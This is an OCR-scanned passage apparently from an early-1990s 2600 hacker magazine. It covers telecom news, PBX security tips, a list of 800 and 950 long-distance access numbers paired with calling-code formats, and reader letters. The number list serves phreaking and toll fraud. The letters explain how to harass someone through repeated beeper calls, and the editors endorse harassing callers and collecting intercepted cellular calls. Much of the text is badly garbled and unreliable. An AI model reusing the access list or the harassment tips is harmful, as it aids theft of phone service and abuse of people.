follows it on the phone bill, you can fmd out the amoWlI owed 
and make payment aJTangeme nrs. Apparently they aren't  too 
comfortable with the sysk'm because they only luve it running 
during the daytime when people arc arou nd! We think they 
phrased it best in their little brochure:: " The  system is e a.�y to 
use and can onl y be uxd by current cu�tODlC'rs for �e" lIl� 
btlling information on your a�,oul1t . · ·  Either sonlC'�'IIlC' ISIl 't  tflO 

�o�xl w i th pronoulls or somemr IS !lneal(ll1� out dr truth. 
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You may ICC a DeW kind of payphone abowing up in 
airports .  AT&T has b�.eD testing a combination 
voicc/dalll{mformation acrvices phone. It basically looks like a 
payphonc with a Iooyboard and screen and is deoi_d to be a 
portable office for businosa tra"",ner •• Tho phone wOlks like an 
ATM, allowing callers to go through menus to II"t to the option 
they want. Tho phone has a data port IO  laptop compIlloro ODd 
portable fax machines can be plu8ll"d right in. Tho IooybOard is 
"re�d" for S2.S0 for the first 10 minutes and SI for every 
aclditiOll8l ten minutes. This is ou top of the charI" for call •. 

If you fiDeI younelf at ODe of thooe pivate payphones md 
arc tearing your hair out because you can't get an AT&T 
operator, you em now dial SOO-CAlL ATI and hit a couple of 
touchtooca to get cOllDCctcd. You can even call back locally 
1lsing an AT&T calling card with this method. (This docan't 
work normally.) Tho now famous IS .. " abbrevisted calling 
card trick doc. not work here. 

Dew .... of increasingly sleazy 800 numben that actually 
bill you for the call. A COllllllOll plOy is for companies to mail 
out postcards c1airniDg _ the .... ivcr has won aoroethiDg ODd 
that they have to call an SOO munbcr to fmd out what it is. It's 
a1 way. been po.sible to bill something to a credit card by 
calling an SOO number. But to bill .omething back to the 
number that's caUing derea .. the entil'C pwpooc of SOO numbe ... 
and will wind up leading to 800 blocking. Only by widely 
publicizing this mcnscc CID wc hope to wipe iI out. 

Britiah Telcccm has introduced DeW acrvicc. called Phooe 
Di.c and Phone Base which allow relCll ing of telephone 
number information. For 2,000 ponnds a year, a company can 
.. t up their own directory ... iItanc:c acrviccs. It'. an _ting 
concept to pay a ccmpany for the right to compete against them. 
Part of the agreement stipulates that no information be used for 
nwkctiDg purpose •• 

Phone Bue is a dial-up service that connects a customer's 
computer to the British Telecom database using a modem. 
lbcre ... no charll"s other than _ for • norma1 loca1 call. 

Phooe Disc is an cIcctronic version of the phooe book on a 
CD ROM. For 2,200 pounds a year, subscribers can get 
quarterly updates. (We sUppolC they could always 10IC their 
outdated ODeS and mail them to us!) 

Troublemakers 
Accordiug to Robert M. Groll of Microframe, less than 

t:Iuw pc1<lCDt of harm to computer oetwOlks can be anributcd to 
bac1tcra. Sixty-five pcrccu is ca_d by accident and 19 pcrccnl 
from diagruntlcd employees. Everything elac is cauoed by 
cIisutcn of aome sort. 

Here ... some tips .... ntly given out to keep unauthorized 
people out of private pbooc systems: Don't let ulen seled their 
own authorization codes; tum. off remote accell when u's not 
acedcd; limit the number of invalid pasaword _mpta for voice 
mail, then lock the user out; oevcr publiab the remote acecll 
number; limit remote ICCCII lines to doroeatic calling and tum 
them off when they atcD't _ded; don't have any ulDlled pbooe 
""tensions; ute ANI tccIudOI)' to selectively accept call. from 
QCrtain munbcra; make sutc time of day options ... activa�d; 
use two-.tage IlCCCII codes - ooc _'I systemwide followed by 
.. maximum length euthorization code; watch for Iota of short 
<::a1Ja that could indicate backing. 

Hooda is lUing an ira .. car owoer who they say called i1I 
toll-ftee numbe ... 10 of'lOn tbat the company had to block all 
c:all. from the Boston ..... Tho whole thing started when the 
<:ustomcr had • diaagreement with a Honda dealer over whether 
Or not his car stopped properly in the rain. A week later, 

Honda's Better Business Bureau Information Line in Torrance, 
California got more than 1 00  harassing calls in • lin8Je day. 
''Each time when American Honda's cultomer relatinns staff 
answered the telephone, there was no response." a Honda 
executive said. The company also said the customer tied up one 
of their fax machines by transmitting nmltipage letters for four 
days. 

A computer backer who pleaded guilty to becaking into 
NASA computer systems has been ordered to undergo mental 
heaith treatment and not to use computers without �i� 
from .  probation officer for the ne![l thtce years. ProIecDiors 
s.id it took the hacker four yeara to get into the computer 
systcma. It must have been IiullratiDg for the � waiting to 
press charll"s. 

' 

Opportunists 
It had to happen eventually. Phone companies ... now 

offering "protectiou" against phooe .buse. Not in the form of 
inc ..... d security, mind you. For a cbarF of SIOO per month 
per PBX, Sprint will pey for any fraudulent calls that occur. But 
Sprint isn't looking to II"t just any PBX operators. Companies 
can only use this uservice" if they agree to spend at least 
$30,000 per month for two years on Sprint voice lCrVices: 

For only S270, you can buy • two volume book called 
"Toll Fraud and Tel.buae". It'. being advertised .. "Tho Book 
Set Everyone Needs Now ! "  and claims to make' it all 
understandable. We have to wonder what ....... could poaaibly 
exist in this book that ... not .heady well documctJlOd in the 
hacker world. There had bener be some ptctry good one. to 
justify the price. It's not even bard cover! You can order it by 
calling S()().43S-787S . 

Observations 
According to e x tensive re�arch conducted by 

SOUthweltern Bell, twentY-seven percell! of the local calls mide 
from payphoncs are not completed becaUIC of no UlIwcr or a 
busy signal .  "That can be very frustrating," a company 
representative said. 

Regulations 
According to FCC niles, private payphone owners are not 

allowed to block Calli to 800 num� and 950 numbers. They 
are also supposed to allow access to 10XXX accesa code. so 
customers can choose their own long distance companies. 
Anyone who dooso't allow this is btcaking the law, according to 
Robert Spangler, deputy chief of the Enforcement Division of 
the FCC. We'd like to hear how .. sponaivc the FCC is ,to the 
violatinna our .. aders are sure to report. We ahoui!!. al� point 
out that many violations occur on regular BOC payphoocs, such 
a. New York Telephone. Their credit phone., for inlim"';, 
routinely block acce .. to 950 IDlmbc.... ' . 

The", ... thOle lawma10en who insist that it's i11cpl to 
listen in on cellular calls. Then there are those who lay it's 
illegal to tape them. What wc're wondcriDg is if it', iUegal for 
us to keep getting anonymous tapes of various cellular caUl 
from all over the country. After all" they'", being broadca.t 
unscrambled over public airwaves. And from thO aounda of it: 
the people 00 the pbooes etc under the imprcaaioo that nobody 
can listen in. We have to wonder where these law�kers are 
when it Comel to defrauding the public ODd giving them" false 
seDIC of security. In the meantime, we're opting for a Ii�i:: 
",.Iity. We hope more tape. come in 10 wc CID show everybody' , 
how absurdly easy it is. 

. 
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fascinating fone fun 
by Frosty of the GeMS 

'!he follMllg' l i st i s  a ccnstruct of currently 

available numbers arxi where they l ead too . 

'!his l ist is in constant need of cplati rg .  

800-334-7454 

800-222-@38 

800-331-7166 

800-344-0415 

800-33 1-4232 

800-347-2683 

800-282-0911 

8 0 0 -292 - 3 044 

800-234-5095 

8 0 0 -245-6332 

800-476-3636 

800-733 -5000 

800 -327 -9488 

8 0 0 - 9 5 0 - 1 022 

800-476-4646 

800-234-5095 

8 0 0 -237-0407 

800 -892-9041 

800-33 4 - 1 1 0 8  

800-22 1 -9658 

8 0 0 -3 4 6 - 3 1 4 3  

8 0 0 - 3 3 4 -2274 

800 -972 - 1 1 0 6  

800 -727 -7112 

8 0 0 - 3 4 2 - 1252 

8 0 0 - 8 3 3 - 3 0 5 9  

800-537-3 682 

800 -322-2214 

800-22 1 -9258 

800-47 6-3636 

800-255-2255 

800-777 -4648 

8 0 0 -3 4 8 - 1 1 0 8  

8 0 0 -327-9488 

950-0266 

950-1001 

950-0488 

950-0511 

950-1033 

950-1011 

950-1044 

950-13 11 

950-1407 

950-0004 

950-1355 

950-1555 

950-1523 

950-1986 

950-1022 

950-1012 

950-1999 

950-1820 

950-0537 

950-0220 

950-1087 

950-1729 

950-1640 

\Ml 
U.S. 'lnlvel 

catpJter 

Sstellite \Ml 
catpJter 

Di9OOl.'er card 
ANI cSro 

ACN + 10 digi t s  C ocle  
6 digi ts + FeN C ocle  
1 0  digits + FeN Cocle 

6 digits + FeN Cocle 
7 digi ts t FeN Cocle 
ACN + 1 3  digits I'IT Cocle 
o + ACN + 14 dig MeI Cocle 

6 dig its + FeN NEN Cocle 
6 digits t FeN Cocle 
1 0  digit s  + FeN Cocle 

6 digi ts + FeN Cocle 
7 digi ts + FeN Cocle 
6 digi ts + FeN Cocle 

6 digits + 1 + N:N Code 
6 digi ts + FeN Cocle 
5 digits + FeN Cocle 
5 digits + FeN Cocle 
3 digi ts + 1 + FeN Code 
6 dig its + 1 + FeN Cocle 

8 + ACN ... 6 digits Code 
B digi ':.6 + A(N Code 

6 digi ts + FeN Cocle 
6 digi ts + FeN Cocle 
6 digi ts + FeN Cocle 
5 digits + l\Q1 Cocle 
7 digi t s  + 1 + ACN Code 

ACN + 13 digi t s Cocle 
7 digits + FeN Coda 
6 digits + FeN Coda 
FeN + 13 digits Cocle 
6 digits + FeN Coda 
7 digits + FeN Coda 
13 digi ts + FeN Coda 
6 digits + KN AlN Coda 

6 digits + FeN Coda 
7 digits + FeN Coda 
6 digits + FeN Coda 
6 digits + FeN Coda 
6 digits + FeN Coda 
7 digits + FeN Coda 
5 digits + FeN Coda 
o + FeN + 14 digit MCI Cocle 

6 digits + FeN Coda 
6 digits + FeN Coda 
6 digits + FeN Coda 
10 digits :,. FeN Coda 

9 digits + FeN Coda 
7 digits + FeN Coda 
6 digits + FeN Coda 
9 digits + FeN Coda 
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the letters 
(continued from page 30) 
are connected to the Internet and provide public access 
accounts, though I pray I am mistaken. Again, your 
assistance in this matter would be greatly appreciated. 

The Information Junkie 
We printed a hacker reading list in our Winter 

1 990·91 edition. Most of what is in there is still 
obtainable. Additions to this list will be printed in 
future issues . .  

If you can't  find a college that provilks public 
access accounts, then it may be worthwhile to actually 
enroll as a part-time student and gain access that way. 
Or for $30 a month, you can get PC Pursuit, a service 
that allows you to access molkms in other cities. From 
there you can dial into o ther services that allow 
Internet access. PC Pursuit is reachable at 800-336-
0437. As public access Internet sites pop up, we will 
provilk the access numbers. 

Questions 
Dear 2600: 

A fe w w i ld ly  unre la t e d  q u e s t i o n s  a n d  a 
comment. 

1 )  Recently I ' v e  been t ry ing  out the 9 9 8  
prefix in the 4 1 5  NPA. Many o f  these numbers 
ans w e r  wi th  four  or five beeps,  then wait  fo r 
s o m e  k i n d  of i n p u t .  A ft e r  e n t e r i n g  a fe w 
numbers, a recorded voice answers, "Thank you 
fo r calling" and hangs up .  Any idea what this 
might be? 

2) S ev e ra !  m o n t h s  a g o ,  I sent for  a 
s u b s c ri p t i o n  to Cy b e r t e k :  The  C y b e rp u tl k  
Te chnical  Journal out  of B rewster, NY.  T h e  
c h e c k  was  cashed b u t  I ' ve  heard nothing else 
from them. Are you famil iar w ith them? Are they 
still publishing? 

3) Caller  ID ha" r a i s e d  a lot of  p r i v a c y  
concerns in  many states.  Y et large companies 
have had Caller ID fo r several years and little 
mention is made of this in  the media. Is there a 
good reason for this or is b ig business exempt 
from Constitutional issues? 

4) Today is March 6th, the day the Michelangelo 
v i rus became active. The news reports sa id that 
although it may not be too difficult to find and 
prosecute the author of the v irus,  the FBI had not 
investigated and has no plans to, The FBI did ,  
however, hold a news conference today to  announce 
that they had raided a local firm making counterfeit 
copies of Microsoft's MS-DOS S.D. Estimated street 
value: $1 80,000. 

I don 't really expect thi s  to surprise anyone. 
There a re already 30 years worth of such stories 
that tell you who the powers that be really a re 
and exactly what they are out to protect. 

The Iron Warrior 
No FIxed Address 

I) You ' re reaching a beeper number. You ' re 
expected to enter whatever number you want to show 
up on the beeper (using touch tones) followed by the # 
key. Hilling the # key is optional but it speeds things 
up . Some services a llow you to transfer back to 
another beeper by hining * and diaJing the extension. 
This means you can beep a large number of people 
with one phone call if you so desire. (You can also 
merci lessly harass one person by beeping them 
repetitively on a single call.) 

2) Cybertek is still around but if you put a name 
like Iron Warrior on your subscription, the post office 
may be having a moral dilemma lklivering it. This 
happens to quite a few of our subscribers. There is 
literally no way we can get through to them to tell 
them that we can' t get  through to them . So they 
assume we ' v e  run off with their money and 
occasionally they write angry leners to us containing 
dark promises of revenge and suit. Many times a 
simple phone number, alternative address, or just 
telling the post  office to accep t  mail  for your 
alternative identity if you choose to have one is 
enough to alleviate these problems entirely. 

3) If you're referring to companies having Caller 
JD within their establishment, that is not technically 
considered to be Caller ID. Basically a company or 
institution can do whatever it wants (within some 
reason) insilk its boundaries. If they choose to have 
extensions identify what other extensions are calling 
them, it's completely within their rights. Phones that 
the general public uses are subject  to regulations 
however. If. on the other hand, you' re referring to 
companies that are able to tell who's  calling them on 
their 800 lines, that technology is referred to as ANI 
(Automatic Number Identification), not Caller ID _ 
While the end result is the same, the thought behind 
allowing ANI on such calls is thal a company has the 
right to know who's  calling them collect, which is 
what an 800 call really is. But  there hasn ' t  been 
nearly enough public awareness of the fact thot 800 
calls are no longer anonymous. 

4) We suggest you not believe everything you hear 
or read. In this case we suggest that you believe 
nothing. 

Outraged 
Dear 2600: 

I hate those @ &%*# computers that invade my 
privacy through the phone. Is there any way to stop 
them? 

P.O. 
Tell them what they don't want to hear. And think 

of other ways to make it not worth their while. As far 
as we know, i t ' s  not illegal to harass  people (or 
machines) that call you. 
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